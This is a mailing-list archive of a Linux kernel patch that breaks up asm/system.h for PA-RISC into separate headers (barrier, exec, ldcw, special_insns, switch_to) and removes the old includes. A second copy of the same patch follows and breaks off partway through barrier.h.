NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1331595656 25101 80.91.229.3 (12 Mar 2012 23:40:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 12 Mar 2012 23:40:56 +0000 (UTC)
Cc: torvalds@linux-foundation.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, arnd@arndb.de,
	David Howells <dhowells@redhat.com>,
	linux-parisc@vger.kernel.org
To: paul.gortmaker@windriver.com, hpa@zytor.com
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Mar 13 00:40:53 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1S7ErC-0005OB-2e
	for glk-linux-kernel-3@plane.gmane.org; Tue, 13 Mar 2012 00:40:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S964979Ab2CLXkK (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 12 Mar 2012 19:40:10 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:16270 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S964958Ab2CLXkF (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 12 Mar 2012 19:40:05 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q2CNe1aZ013306
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Mon, 12 Mar 2012 19:40:01 -0400
Original-Received: from warthog.procyon.org.uk ([10.3.112.12])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q2CNdtAb004313;
	Mon, 12 Mar 2012 19:39:56 -0400
In-Reply-To: <20120312233602.13888.27659.stgit@warthog.procyon.org.uk>
User-Agent: StGIT/0.14.3
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1266003 gmane.linux.kernel.cross-arch:13137 gmane.linux.ports.parisc:4228
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1266003>

Disintegrate asm/system.h for PA-RISC.

Signed-off-by: David Howells <dhowells@redhat.com>
cc: linux-parisc@vger.kernel.org
---

 arch/parisc/include/asm/atomic.h        |    1 
 arch/parisc/include/asm/barrier.h       |   35 ++++++
 arch/parisc/include/asm/delay.h         |    2 
 arch/parisc/include/asm/dma.h           |    1 
 arch/parisc/include/asm/exec.h          |    6 +
 arch/parisc/include/asm/ldcw.h          |   48 +++++++++
 arch/parisc/include/asm/processor.h     |    2 
 arch/parisc/include/asm/psw.h           |   41 +++++++
 arch/parisc/include/asm/special_insns.h |   40 +++++++
 arch/parisc/include/asm/spinlock.h      |    1 
 arch/parisc/include/asm/switch_to.h     |   12 ++
 arch/parisc/include/asm/system.h        |  171 +------------------------------
 arch/parisc/include/asm/thread_info.h   |    1 
 arch/parisc/include/asm/timex.h         |    1 
 arch/parisc/include/asm/uaccess.h       |    1 
 arch/parisc/kernel/cache.c              |    1 
 arch/parisc/kernel/firmware.c           |    1 
 arch/parisc/kernel/pci.c                |    1 
 arch/parisc/kernel/ptrace.c             |    1 
 arch/parisc/kernel/smp.c                |    1 
 arch/parisc/kernel/traps.c              |    1 
 arch/parisc/lib/bitops.c                |    1 
 22 files changed, 191 insertions(+), 179 deletions(-)
 create mode 100644 arch/parisc/include/asm/barrier.h
 create mode 100644 arch/parisc/include/asm/exec.h
 create mode 100644 arch/parisc/include/asm/ldcw.h
 create mode 100644 arch/parisc/include/asm/special_insns.h
 create mode 100644 arch/parisc/include/asm/switch_to.h

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index 4054b31..3ae5607 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -6,7 +6,6 @@
 #define _ASM_PARISC_ATOMIC_H_
 
 #include <linux/types.h>
-#include <asm/system.h>
 
 /*
  * Atomic operations that C can't guarantee us.  Useful for
diff --git a/arch/parisc/include/asm/barrier.h b/arch/parisc/include/asm/barrier.h
new file mode 100644
index 0000000..e77d834
--- /dev/null
+++ b/arch/parisc/include/asm/barrier.h
@@ -0,0 +1,35 @@
+#ifndef __PARISC_BARRIER_H
+#define __PARISC_BARRIER_H
+
+/*
+** This is simply the barrier() macro from linux/kernel.h but when serial.c
+** uses tqueue.h uses smp_mb() defined using barrier(), linux/kernel.h
+** hasn't yet been included yet so it fails, thus repeating the macro here.
+**
+** PA-RISC architecture allows for weakly ordered memory accesses although
+** none of the processors use it. There is a strong ordered bit that is
+** set in the O-bit of the page directory entry. Operating systems that
+** can not tolerate out of order accesses should set this bit when mapping
+** pages. The O-bit of the PSW should also be set to 1 (I don't believe any
+** of the processor implemented the PSW O-bit). The PCX-W ERS states that
+** the TLB O-bit is not implemented so the page directory does not need to
+** have the O-bit set when mapping pages (section 3.1). This section also
+** states that the PSW Y, Z, G, and O bits are not implemented.
+** So it looks like nothing needs to be done for parisc-linux (yet).
+** (thanks to chada for the above comment -ggg)
+**
+** The __asm__ op below simple prevents gcc/ld from reordering
+** instructions across the mb() "call".
+*/
+#define mb()		__asm__ __volatile__("":::"memory")	/* barrier() */
+#define rmb()		mb()
+#define wmb()		mb()
+#define smp_mb()	mb()
+#define smp_rmb()	mb()
+#define smp_wmb()	mb()
+#define smp_read_barrier_depends()	do { } while(0)
+#define read_barrier_depends()		do { } while(0)
+
+#define set_mb(var, value)		do { var = value; mb(); } while (0)
+
+#endif /* __PARISC_BARRIER_H */
diff --git a/arch/parisc/include/asm/delay.h b/arch/parisc/include/asm/delay.h
index 7a75e98..912ee7e 100644
--- a/arch/parisc/include/asm/delay.h
+++ b/arch/parisc/include/asm/delay.h
@@ -1,7 +1,7 @@
 #ifndef _PARISC_DELAY_H
 #define _PARISC_DELAY_H
 
-#include <asm/system.h>    /* for mfctl() */
+#include <asm/special_insns.h>    /* for mfctl() */
 #include <asm/processor.h> /* for boot_cpu_data */
 
 
diff --git a/arch/parisc/include/asm/dma.h b/arch/parisc/include/asm/dma.h
index f7a18f9..fd48ae2 100644
--- a/arch/parisc/include/asm/dma.h
+++ b/arch/parisc/include/asm/dma.h
@@ -9,7 +9,6 @@
 #define _ASM_DMA_H
 
 #include <asm/io.h>		/* need byte IO */
-#include <asm/system.h>	
 
 #define dma_outb	outb
 #define dma_inb		inb
diff --git a/arch/parisc/include/asm/exec.h b/arch/parisc/include/asm/exec.h
new file mode 100644
index 0000000..6bb5af7
--- /dev/null
+++ b/arch/parisc/include/asm/exec.h
@@ -0,0 +1,6 @@
+#ifndef __PARISC_EXEC_H
+#define __PARISC_EXEC_H
+
+#define arch_align_stack(x) (x)
+
+#endif /* __PARISC_EXEC_H */
diff --git a/arch/parisc/include/asm/ldcw.h b/arch/parisc/include/asm/ldcw.h
new file mode 100644
index 0000000..d2d11b7
--- /dev/null
+++ b/arch/parisc/include/asm/ldcw.h
@@ -0,0 +1,48 @@
+#ifndef __PARISC_LDCW_H
+#define __PARISC_LDCW_H
+
+#ifndef CONFIG_PA20
+/* Because kmalloc only guarantees 8-byte alignment for kmalloc'd data,
+   and GCC only guarantees 8-byte alignment for stack locals, we can't
+   be assured of 16-byte alignment for atomic lock data even if we
+   specify "__attribute ((aligned(16)))" in the type declaration.  So,
+   we use a struct containing an array of four ints for the atomic lock
+   type and dynamically select the 16-byte aligned int from the array
+   for the semaphore.  */
+
+#define __PA_LDCW_ALIGNMENT	16
+#define __ldcw_align(a) ({					\
+	unsigned long __ret = (unsigned long) &(a)->lock[0];	\
+	__ret = (__ret + __PA_LDCW_ALIGNMENT - 1)		\
+		& ~(__PA_LDCW_ALIGNMENT - 1);			\
+	(volatile unsigned int *) __ret;			\
+})
+#define __LDCW	"ldcw"
+
+#else /*CONFIG_PA20*/
+/* From: "Jim Hull" <jim.hull of hp.com>
+   I've attached a summary of the change, but basically, for PA 2.0, as
+   long as the ",CO" (coherent operation) completer is specified, then the
+   16-byte alignment requirement for ldcw and ldcd is relaxed, and instead
+   they only require "natural" alignment (4-byte for ldcw, 8-byte for
+   ldcd). */
+
+#define __PA_LDCW_ALIGNMENT	4
+#define __ldcw_align(a) (&(a)->slock)
+#define __LDCW	"ldcw,co"
+
+#endif /*!CONFIG_PA20*/
+
+/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
+#define __ldcw(a) ({						\
+	unsigned __ret;						\
+	__asm__ __volatile__(__LDCW " 0(%2),%0"			\
+		: "=r" (__ret), "+m" (*(a)) : "r" (a));		\
+	__ret;							\
+})
+
+#ifdef CONFIG_SMP
+# define __lock_aligned __attribute__((__section__(".data..lock_aligned")))
+#endif
+
+#endif /* __PARISC_LDCW_H */
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 7213ec9..acdf4ca 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -16,7 +16,6 @@
 #include <asm/pdc.h>
 #include <asm/ptrace.h>
 #include <asm/types.h>
-#include <asm/system.h>
 #include <asm/percpu.h>
 
 #endif /* __ASSEMBLY__ */
@@ -169,6 +168,7 @@ struct thread_struct {
  * Return saved PC of a blocked thread.  This is used by ps mostly.
  */
 
+struct task_struct;
 unsigned long thread_saved_pc(struct task_struct *t);
 void show_trace(struct task_struct *task, unsigned long *stack);
 
diff --git a/arch/parisc/include/asm/psw.h b/arch/parisc/include/asm/psw.h
index 5a3e23c..ad69a35 100644
--- a/arch/parisc/include/asm/psw.h
+++ b/arch/parisc/include/asm/psw.h
@@ -59,4 +59,45 @@
 #define USER_PSW_MASK (WIDE_PSW | PSW_T | PSW_N | PSW_X | PSW_B | PSW_V | PSW_CB)
 #define USER_PSW      (PSW_C | PSW_Q | PSW_P | PSW_D | PSW_I)
 
+#ifndef __ASSEMBLY__
+
+/* The program status word as bitfields.  */
+struct pa_psw {
+	unsigned int y:1;
+	unsigned int z:1;
+	unsigned int rv:2;
+	unsigned int w:1;
+	unsigned int e:1;
+	unsigned int s:1;
+	unsigned int t:1;
+
+	unsigned int h:1;
+	unsigned int l:1;
+	unsigned int n:1;
+	unsigned int x:1;
+	unsigned int b:1;
+	unsigned int c:1;
+	unsigned int v:1;
+	unsigned int m:1;
+
+	unsigned int cb:8;
+
+	unsigned int o:1;
+	unsigned int g:1;
+	unsigned int f:1;
+	unsigned int r:1;
+	unsigned int q:1;
+	unsigned int p:1;
+	unsigned int d:1;
+	unsigned int i:1;
+};
+
+#ifdef CONFIG_64BIT
+#define pa_psw(task) ((struct pa_psw *) ((char *) (task) + TASK_PT_PSW + 4))
+#else
+#define pa_psw(task) ((struct pa_psw *) ((char *) (task) + TASK_PT_PSW))
+#endif
+
+#endif /* !__ASSEMBLY__ */
+
 #endif
diff --git a/arch/parisc/include/asm/special_insns.h b/arch/parisc/include/asm/special_insns.h
new file mode 100644
index 0000000..d306b75
--- /dev/null
+++ b/arch/parisc/include/asm/special_insns.h
@@ -0,0 +1,40 @@
+#ifndef __PARISC_SPECIAL_INSNS_H
+#define __PARISC_SPECIAL_INSNS_H
+
+#define mfctl(reg)	({		\
+	unsigned long cr;		\
+	__asm__ __volatile__(		\
+		"mfctl " #reg ",%0" :	\
+		 "=r" (cr)		\
+	);				\
+	cr;				\
+})
+
+#define mtctl(gr, cr) \
+	__asm__ __volatile__("mtctl %0,%1" \
+		: /* no outputs */ \
+		: "r" (gr), "i" (cr) : "memory")
+
+/* these are here to de-mystefy the calling code, and to provide hooks */
+/* which I needed for debugging EIEM problems -PB */
+#define get_eiem() mfctl(15)
+static inline void set_eiem(unsigned long val)
+{
+	mtctl(val, 15);
+}
+
+#define mfsp(reg)	({		\
+	unsigned long cr;		\
+	__asm__ __volatile__(		\
+		"mfsp " #reg ",%0" :	\
+		 "=r" (cr)		\
+	);				\
+	cr;				\
+})
+
+#define mtsp(gr, cr) \
+	__asm__ __volatile__("mtsp %0,%1" \
+		: /* no outputs */ \
+		: "r" (gr), "i" (cr) : "memory")
+
+#endif /* __PARISC_SPECIAL_INSNS_H */
diff --git a/arch/parisc/include/asm/spinlock.h b/arch/parisc/include/asm/spinlock.h
index 74036f4..804aa28 100644
--- a/arch/parisc/include/asm/spinlock.h
+++ b/arch/parisc/include/asm/spinlock.h
@@ -1,7 +1,6 @@
 #ifndef __ASM_SPINLOCK_H
 #define __ASM_SPINLOCK_H
 
-#include <asm/system.h>
 #include <asm/processor.h>
 #include <asm/spinlock_types.h>
 
diff --git a/arch/parisc/include/asm/switch_to.h b/arch/parisc/include/asm/switch_to.h
new file mode 100644
index 0000000..8ed8fea
--- /dev/null
+++ b/arch/parisc/include/asm/switch_to.h
@@ -0,0 +1,12 @@
+#ifndef __PARISC_SWITCH_TO_H
+#define __PARISC_SWITCH_TO_H
+
+struct task_struct;
+
+extern struct task_struct *_switch_to(struct task_struct *, struct task_struct *);
+
+#define switch_to(prev, next, last) do {			\
+	(last) = _switch_to(prev, next);			\
+} while(0)
+
+#endif /* __PARISC_SWITCH_TO_H */
diff --git a/arch/parisc/include/asm/system.h b/arch/parisc/include/asm/system.h
index b19e63a..fc2c126 100644
--- a/arch/parisc/include/asm/system.h
+++ b/arch/parisc/include/asm/system.h
@@ -1,165 +1,6 @@
-#ifndef __PARISC_SYSTEM_H
-#define __PARISC_SYSTEM_H
-
-#include <linux/irqflags.h>
-
-/* The program status word as bitfields.  */
-struct pa_psw {
-	unsigned int y:1;
-	unsigned int z:1;
-	unsigned int rv:2;
-	unsigned int w:1;
-	unsigned int e:1;
-	unsigned int s:1;
-	unsigned int t:1;
-
-	unsigned int h:1;
-	unsigned int l:1;
-	unsigned int n:1;
-	unsigned int x:1;
-	unsigned int b:1;
-	unsigned int c:1;
-	unsigned int v:1;
-	unsigned int m:1;
-
-	unsigned int cb:8;
-
-	unsigned int o:1;
-	unsigned int g:1;
-	unsigned int f:1;
-	unsigned int r:1;
-	unsigned int q:1;
-	unsigned int p:1;
-	unsigned int d:1;
-	unsigned int i:1;
-};
-
-#ifdef CONFIG_64BIT
-#define pa_psw(task) ((struct pa_psw *) ((char *) (task) + TASK_PT_PSW + 4))
-#else
-#define pa_psw(task) ((struct pa_psw *) ((char *) (task) + TASK_PT_PSW))
-#endif
-
-struct task_struct;
-
-extern struct task_struct *_switch_to(struct task_struct *, struct task_struct *);
-
-#define switch_to(prev, next, last) do {			\
-	(last) = _switch_to(prev, next);			\
-} while(0)
-
-#define mfctl(reg)	({		\
-	unsigned long cr;		\
-	__asm__ __volatile__(		\
-		"mfctl " #reg ",%0" :	\
-		 "=r" (cr)		\
-	);				\
-	cr;				\
-})
-
-#define mtctl(gr, cr) \
-	__asm__ __volatile__("mtctl %0,%1" \
-		: /* no outputs */ \
-		: "r" (gr), "i" (cr) : "memory")
-
-/* these are here to de-mystefy the calling code, and to provide hooks */
-/* which I needed for debugging EIEM problems -PB */
-#define get_eiem() mfctl(15)
-static inline void set_eiem(unsigned long val)
-{
-	mtctl(val, 15);
-}
-
-#define mfsp(reg)	({		\
-	unsigned long cr;		\
-	__asm__ __volatile__(		\
-		"mfsp " #reg ",%0" :	\
-		 "=r" (cr)		\
-	);				\
-	cr;				\
-})
-
-#define mtsp(gr, cr) \
-	__asm__ __volatile__("mtsp %0,%1" \
-		: /* no outputs */ \
-		: "r" (gr), "i" (cr) : "memory")
-
-
-/*
-** This is simply the barrier() macro from linux/kernel.h but when serial.c
-** uses tqueue.h uses smp_mb() defined using barrier(), linux/kernel.h
-** hasn't yet been included yet so it fails, thus repeating the macro here.
-**
-** PA-RISC architecture allows for weakly ordered memory accesses although
-** none of the processors use it. There is a strong ordered bit that is
-** set in the O-bit of the page directory entry. Operating systems that
-** can not tolerate out of order accesses should set this bit when mapping
-** pages. The O-bit of the PSW should also be set to 1 (I don't believe any
-** of the processor implemented the PSW O-bit). The PCX-W ERS states that
-** the TLB O-bit is not implemented so the page directory does not need to
-** have the O-bit set when mapping pages (section 3.1). This section also
-** states that the PSW Y, Z, G, and O bits are not implemented.
-** So it looks like nothing needs to be done for parisc-linux (yet).
-** (thanks to chada for the above comment -ggg)
-**
-** The __asm__ op below simple prevents gcc/ld from reordering
-** instructions across the mb() "call".
-*/
-#define mb()		__asm__ __volatile__("":::"memory")	/* barrier() */
-#define rmb()		mb()
-#define wmb()		mb()
-#define smp_mb()	mb()
-#define smp_rmb()	mb()
-#define smp_wmb()	mb()
-#define smp_read_barrier_depends()	do { } while(0)
-#define read_barrier_depends()		do { } while(0)
-
-#define set_mb(var, value)		do { var = value; mb(); } while (0)
-
-#ifndef CONFIG_PA20
-/* Because kmalloc only guarantees 8-byte alignment for kmalloc'd data,
-   and GCC only guarantees 8-byte alignment for stack locals, we can't
-   be assured of 16-byte alignment for atomic lock data even if we
-   specify "__attribute ((aligned(16)))" in the type declaration.  So,
-   we use a struct containing an array of four ints for the atomic lock
-   type and dynamically select the 16-byte aligned int from the array
-   for the semaphore.  */
-
-#define __PA_LDCW_ALIGNMENT	16
-#define __ldcw_align(a) ({					\
-	unsigned long __ret = (unsigned long) &(a)->lock[0];	\
-	__ret = (__ret + __PA_LDCW_ALIGNMENT - 1)		\
-		& ~(__PA_LDCW_ALIGNMENT - 1);			\
-	(volatile unsigned int *) __ret;			\
-})
-#define __LDCW	"ldcw"
-
-#else /*CONFIG_PA20*/
-/* From: "Jim Hull" <jim.hull of hp.com>
-   I've attached a summary of the change, but basically, for PA 2.0, as
-   long as the ",CO" (coherent operation) completer is specified, then the
-   16-byte alignment requirement for ldcw and ldcd is relaxed, and instead
-   they only require "natural" alignment (4-byte for ldcw, 8-byte for
-   ldcd). */
-
-#define __PA_LDCW_ALIGNMENT	4
-#define __ldcw_align(a) (&(a)->slock)
-#define __LDCW	"ldcw,co"
-
-#endif /*!CONFIG_PA20*/
-
-/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
-#define __ldcw(a) ({						\
-	unsigned __ret;						\
-	__asm__ __volatile__(__LDCW " 0(%2),%0"			\
-		: "=r" (__ret), "+m" (*(a)) : "r" (a));		\
-	__ret;							\
-})
-
-#ifdef CONFIG_SMP
-# define __lock_aligned __attribute__((__section__(".data..lock_aligned")))
-#endif
-
-#define arch_align_stack(x) (x)
-
-#endif
+/* FILE TO BE DELETED. DO NOT ADD STUFF HERE! */
+#include <asm/barrier.h>
+#include <asm/exec.h>
+#include <asm/ldcw.h>
+#include <asm/special_insns.h>
+#include <asm/switch_to.h>
diff --git a/arch/parisc/include/asm/thread_info.h b/arch/parisc/include/asm/thread_info.h
index 6d9c7c7..83ae7dd 100644
--- a/arch/parisc/include/asm/thread_info.h
+++ b/arch/parisc/include/asm/thread_info.h
@@ -5,6 +5,7 @@
 
 #ifndef __ASSEMBLY__
 #include <asm/processor.h>
+#include <asm/special_insns.h>
 
 struct thread_info {
 	struct task_struct *task;	/* main task structure */
diff --git a/arch/parisc/include/asm/timex.h b/arch/parisc/include/asm/timex.h
index 3b68d77..2bd51f6 100644
--- a/arch/parisc/include/asm/timex.h
+++ b/arch/parisc/include/asm/timex.h
@@ -6,7 +6,6 @@
 #ifndef _ASMPARISC_TIMEX_H
 #define _ASMPARISC_TIMEX_H
 
-#include <asm/system.h>
 
 #define CLOCK_TICK_RATE	1193180 /* Underlying HZ */
 
diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index ff4cf9d..9ac0660 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -5,7 +5,6 @@
  * User space memory access functions
  */
 #include <asm/page.h>
-#include <asm/system.h>
 #include <asm/cache.h>
 #include <asm/errno.h>
 #include <asm-generic/uaccess-unaligned.h>
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 83335f3..9d18189 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -22,7 +22,6 @@
 #include <asm/cache.h>
 #include <asm/cacheflush.h>
 #include <asm/tlbflush.h>
-#include <asm/system.h>
 #include <asm/page.h>
 #include <asm/pgalloc.h>
 #include <asm/processor.h>
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 4896ed0..f65fa48 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -67,7 +67,6 @@
 #include <asm/page.h>
 #include <asm/pdc.h>
 #include <asm/pdcpat.h>
-#include <asm/system.h>
 #include <asm/processor.h>	/* for boot_cpu_data */
 
 static DEFINE_SPINLOCK(pdc_lock);
diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index 9efd974..4f0cf0c 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -16,7 +16,6 @@
 #include <linux/types.h>
 
 #include <asm/io.h>
-#include <asm/system.h>
 #include <asm/superio.h>
 
 #define DEBUG_RESOURCES 0
diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index 2905b1f..857c2f5 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -22,7 +22,6 @@
 
 #include <asm/uaccess.h>
 #include <asm/pgtable.h>
-#include <asm/system.h>
 #include <asm/processor.h>
 #include <asm/asm-offsets.h>
 
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 32d5884..5006e8e 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -32,7 +32,6 @@
 #include <linux/bitops.h>
 #include <linux/ftrace.h>
 
-#include <asm/system.h>
 #include <linux/atomic.h>
 #include <asm/current.h>
 #include <asm/delay.h>
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index f19e660..45ba99f 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -27,7 +27,6 @@
 #include <linux/bug.h>
 
 #include <asm/assembly.h>
-#include <asm/system.h>
 #include <asm/uaccess.h>
 #include <asm/io.h>
 #include <asm/irq.h>
diff --git a/arch/parisc/lib/bitops.c b/arch/parisc/lib/bitops.c
index a8bffd8..1871188 100644
--- a/arch/parisc/lib/bitops.c
+++ b/arch/parisc/lib/bitops.c
@@ -8,7 +8,6 @@
 
 #include <linux/kernel.h>
 #include <linux/spinlock.h>
-#include <asm/system.h>
 #include <linux/atomic.h>
 
 #ifdef CONFIG_SMP


From - Thu Nov 08 21:08:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 20/38] Disintegrate asm/system.h for PA-RISC [ver #3]
Date: Thu, 15 Mar 2012 20:58:23 +0000
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
 Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
 Kingdom.
 Registered in England and Wales under Company Registration No. 3798903
Lines: 622
Approved: news@gmane.org
Message-ID: <20120315205823.28759.50934.stgit@warthog.procyon.org.uk>
References: <20120315205514.28759.58969.stgit@warthog.procyon.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1331845178 30512 80.91.229.3 (15 Mar 2012 20:59:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 15 Mar 2012 20:59:38 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
	arnd@arndb.de, David Howells <dhowells@redhat.com>,
	linux-parisc@vger.kernel.org
To: paul.gortmaker@windriver.com
Original-X-From: linux-arch-owner@vger.kernel.org Thu Mar 15 21:59:36 2012
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1S8Hlm-0007NH-6s
	for glka-linux-arch@plane.gmane.org; Thu, 15 Mar 2012 21:59:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1161675Ab2COU6g (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 15 Mar 2012 16:58:36 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:46315 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1161672Ab2COU6b (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Thu, 15 Mar 2012 16:58:31 -0400
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q2FKwTDE015808
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Thu, 15 Mar 2012 16:58:29 -0400
Original-Received: from warthog.procyon.org.uk ([10.3.112.12])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id q2FKwN1v023936;
	Thu, 15 Mar 2012 16:58:25 -0400
In-Reply-To: <20120315205514.28759.58969.stgit@warthog.procyon.org.uk>
User-Agent: StGIT/0.14.3
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:13234 gmane.linux.kernel:1268159 gmane.linux.ports.parisc:4229
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/13234>

Disintegrate asm/system.h for PA-RISC.

Signed-off-by: David Howells <dhowells@redhat.com>
cc: linux-parisc@vger.kernel.org
---

 arch/parisc/include/asm/atomic.h        |    1 
 arch/parisc/include/asm/barrier.h       |   35 ++++++
 arch/parisc/include/asm/delay.h         |    2 
 arch/parisc/include/asm/dma.h           |    1 
 arch/parisc/include/asm/exec.h          |    6 +
 arch/parisc/include/asm/ldcw.h          |   48 +++++++++
 arch/parisc/include/asm/processor.h     |    2 
 arch/parisc/include/asm/psw.h           |   41 +++++++
 arch/parisc/include/asm/special_insns.h |   40 +++++++
 arch/parisc/include/asm/spinlock.h      |    1 
 arch/parisc/include/asm/switch_to.h     |   12 ++
 arch/parisc/include/asm/system.h        |  171 +------------------------------
 arch/parisc/include/asm/thread_info.h   |    1 
 arch/parisc/include/asm/timex.h         |    1 
 arch/parisc/include/asm/uaccess.h       |    1 
 arch/parisc/kernel/cache.c              |    1 
 arch/parisc/kernel/firmware.c           |    1 
 arch/parisc/kernel/pci.c                |    1 
 arch/parisc/kernel/ptrace.c             |    1 
 arch/parisc/kernel/smp.c                |    1 
 arch/parisc/kernel/traps.c              |    1 
 arch/parisc/lib/bitops.c                |    1 
 22 files changed, 191 insertions(+), 179 deletions(-)
 create mode 100644 arch/parisc/include/asm/barrier.h
 create mode 100644 arch/parisc/include/asm/exec.h
 create mode 100644 arch/parisc/include/asm/ldcw.h
 create mode 100644 arch/parisc/include/asm/special_insns.h
 create mode 100644 arch/parisc/include/asm/switch_to.h

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index 4054b31..3ae5607 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -6,7 +6,6 @@
 #define _ASM_PARISC_ATOMIC_H_
 
 #include <linux/types.h>
-#include <asm/system.h>
 
 /*
  * Atomic operations that C can't guarantee us.  Useful for
diff --git a/arch/parisc/include/asm/barrier.h b/arch/parisc/include/asm/barrier.h
new file mode 100644
index 0000000..e77d834
--- /dev/null
+++ b/arch/parisc/include/asm/barrier.h
@@ -0,0 +1,35 @@
+#ifndef __PARISC_BARRIER_H
+#define __PARISC_BARRIER_H
+
+/*
+** This is simply the barrier() macro from linux/kernel.h but when serial.c
+** uses tqueue.h uses smp_mb() defined using barrier(), linux/kernel.h
+** hasn't yet been included yet so it fails, thus repeating the macro here.
+**
+** PA-RISC architecture allows for weakly ordered memory accesses although
+** none of the processors use it. There is a strong ordered bit that is
+** set in the O-bit of the page directory entry. Operating systems that
+** can not tolerate out of order accesses should set this bit when mapping
+** pages. The O-bit of the PSW should also be set to 1 (I don't believe any
+** of the processor implemented the PSW O-bit). The PCX-W ERS states that
+** the TLB O-bit is not implemented so the page directory does not need to
+** have the O-bit set when mapping pages (section 3.1). This section also
+** states that the PSW Y, Z, G, and O bits are not implemented.
+** So it looks like nothing needs to be done for parisc-linux (yet).
+** (thanks to chada for the above comment -ggg)
+**
+** The __asm__ op below simple prevents gcc/ld from reordering
+** instructions across the mb() "call".
+*/
+#define mb()		__asm__ __volatile__("":::"memory")	/* barrier() */
+#define rmb()		mb()
